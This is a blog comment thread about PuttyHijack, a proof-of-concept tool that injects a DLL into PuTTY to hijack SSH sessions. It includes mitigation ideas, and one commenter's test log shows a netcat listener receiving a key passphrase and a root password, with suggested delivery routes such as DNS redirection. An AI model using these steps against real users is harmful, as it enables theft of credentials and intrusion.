I use putty all the time, I just gave this a burl, damn that is scary. So does anyone know if there is a putty update coming or some way to mitigate this, I can’t think of any aside from not using the goodness that is putty; aside the obvious don’t get your box pwned.

With Morgan Storey

Scary indeed, given the relative ease with which a Windows box can be compromised (be it XP or Vista).

Will give it a try when at home and see if what it’ll do when using a key file/token auth in combination with a password (why people persist in using ssh access based on password only is still a mystery to me)

From the Putty website (http://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html):

—————————————————-
A.9.9 Can you sign an agreement indemnifying us against security problems in PuTTY?

No!

A vendor of physical security products (e.g. locks) might plausibly be willing to accept financial liability for a product that failed to perform as advertised and resulted in damage (e.g. valuables being stolen). The reason they can afford to do this is because they sell a lot of units, and only a small proportion of them will fail; so they can meet their financial liability out of the income from all the rest of their sales, and still have enough left over to make a profit. Financial liability is intrinsically linked to selling your product for money.

There are two reasons why PuTTY is not analogous to a physical lock in this context. One is that software products don’t exhibit random variation: if PuTTY has a security hole (which does happen, although we do our utmost to prevent it and to respond quickly when it does), every copy of PuTTY will have the same hole, so it’s likely to affect all the users at the same time. So even if our users were all paying us to use PuTTY, we wouldn’t be able to simultaneously pay every affected user compensation in excess of the amount they had paid us in the first place. It just wouldn’t work.

The second, much more important, reason is that PuTTY users don’t pay us. The PuTTY team does not have an income; it’s a volunteer effort composed of people spending their spare time to try to write useful software. We aren’t even a company or any kind of legally recognised organisation. We’re just a bunch of people who happen to do some stuff in our spare time.

Therefore, to ask us to assume financial liability is to ask us to assume a risk of having to pay it out of our own personal pockets: out of the same budget from which we buy food and clothes and pay our rent. That’s more than we’re willing to give. We’re already giving a lot of our spare time to developing software for free; if we had to pay our own money to do it as well, we’d start to wonder why we were bothering.

Free software fundamentally does not work on the basis of financial guarantees. Your guarantee of the software functioning correctly is simply that you have the source code and can check it before you use it. If you want to be sure there aren’t any security holes, do a security audit of the PuTTY code, or hire a security engineer if you don’t have the necessary skills yourself: instead of trying to ensure you can get compensation in the event of a disaster, try to ensure there isn’t a disaster in the first place.

If you really want financial security, see if you can find a security engineer who will take financial responsibility for the correctness of their review. (This might be less likely to suffer from the everything-failing-at-once problem mentioned above, because such an engineer would probably be reviewing a lot of different products which would tend to fail independently.) Failing that, see if you can persuade an insurance company to insure you against security incidents, and if the insurer demands it as a condition then get our code reviewed by a security engineer they’re happy with.
—————————————————-

Obviously they will work to find a fix and release it sometime soon (we hope)! However for those who aren’t aware of it, I doubt they go out on a regular basis to see if there are any putty updates available! lol

@Pantagruel: I was thinking a key would be an effective fix, but surely if an attacker has the ability to get this dll in they could monitor where you are grabbing your key from and just grab it as well.

@Finity: Yeah I know it is OSS, I don’t expect the dev to fix it instantly.
I guess you could somehow try and sandbox putty, run it as another user that doesn’t have access to any other files/folders, this would mean unless the attacker has access to the security on file system they can’t change the permissions on their dll so that putty will be able to access it.
Other options, verify the md5sum of putty post running it, or run dependency walker ( http://www.dependencywalker.com/ ) and make sure it is not linked to any odd dll’s

@Morgan storey

Tried it, worked like a charm.

The initial login doesn’t show where the auth key is stored (or I missed it in the blurp of data netcat received).
First thing in the process of compromising will be gaining total access to every nook and cranny. A remote shell to search for the auth key/download it, a local keylogger to obtain the auth key password and the injected dll will get the the root password shortly.

Really creepy. I too use Putty in my everyday work here. I can say I am not a newbie to linux but my knowledge is limited. I would love to see a followup post or comment as to how I can battle with this kind of vulnerability.

Thanks!

Altough I am not using Putty since some time ago, as I only works on linux at home or use SecureCRT when working with my Windows Laptop (due to my company restrictions). I agreed that Putty is highly popular so, yeah it can have a wide impact.
Nowadays I have my doubts about the severity of that impact, It would be usefull to have more details (about the socket, etc.)

@Pantagruel when you finish with your tests with key files, certificates, etc. please keep us on the loop, that sounds really interesting.

@CG: correct, but it say you do a DNS exploit and re-direct the putty page to get a compromised version that is just a self-extracting zip with hijack dll and putty.exe inside. Then you get everyone who gets that site.
Or you could say compromise an admin’s laptop or desktop and install the putty hijack on the off chance they use it. You don’t have to be on the box, you could be rdp/vnc/dameware or any other remote trojan compromise.
By the way, great blog carnal, I am subscribed.

@Brill

The findings of a 5 minute trial session:

On Listening machine (OpenSuSe Linux 11)
net cat –l –v –p’some port nr’ > received.output

On Windows XP box
cmd.exe
PuttyHijack IP listening machine port in use
Start PuTTY session based on auth key file and passphrase of that key. (Target machine is a OpenSuSe Linux 11)
Do some basic command, (df,su-df, exit exit)

On Listening machine
cat received.output

++++++++++++++++++++++++++++++
+ Putty Terminal Hijack V1.0 +
+ Insomnia Security +
+ http://www.insomniasec.com +
++++++++++++++++++++++++++++++
+ Connected..
login as: user

====================================================
Welcome to this SSH server/Shell
====================================================

Authenticating with public key “imported-openssh-key”
Passphrase for key “imported-openssh-key”: Oh dear a passphrase
Last login: Wed Aug 13 08:54:51 2008 from 10.10.1.72
Have a lot of fun…
user@some-host:~> cd /
user@some-host:~/> df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb2 20G 5.0G 14G 27% /
udev 1009M 124K 1009M 1% /dev
/dev/sdb3 52G 1.5G 48G 4% /home
/dev/sdb5 221G 171G 39G 82% /samba
user@some-host:~/> su -
Password: Oh dear ROOT password
root@some-host:~/df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb2 20G 5.0G 14G 27% /
udev 1009M 124K 1009M 1% /dev
/dev/sdb3 52G 1.5G 48G 4% /home
/dev/sdb5 221G 171G 39G 82% /samba
root@some-host:~/exit
logout
user@some-host:~/:/> exit
logout

So a big Uh-ooohhhhhh

Al that remains to be done is get the needed auth keys. But since you’ll have full access to the compromised XP box this will only be a matter of search, find and transfer.

@CG
As the PuttyHijack.txt says: PuttyHijack is a POC tool that injects a dll into the Putty process to hijack an existing, or soon to be created, connection.

checked both methods and they work. Ofcourse jacking a fresh PuTTY session is where the good stuff is at.

And like Morgan Storey mentions, enough ways to get the payload onto a host (or multiple)

That is really nice of you Pantagruel. Thanks for sharing the details with us. We can make it a basis also here in our tests.

Yay Pantagruel!

Thanks for the log and thank you Darknet for the post!

It’s not a vulnerability, it’s not going to be ‘fixed’. It’s a feature.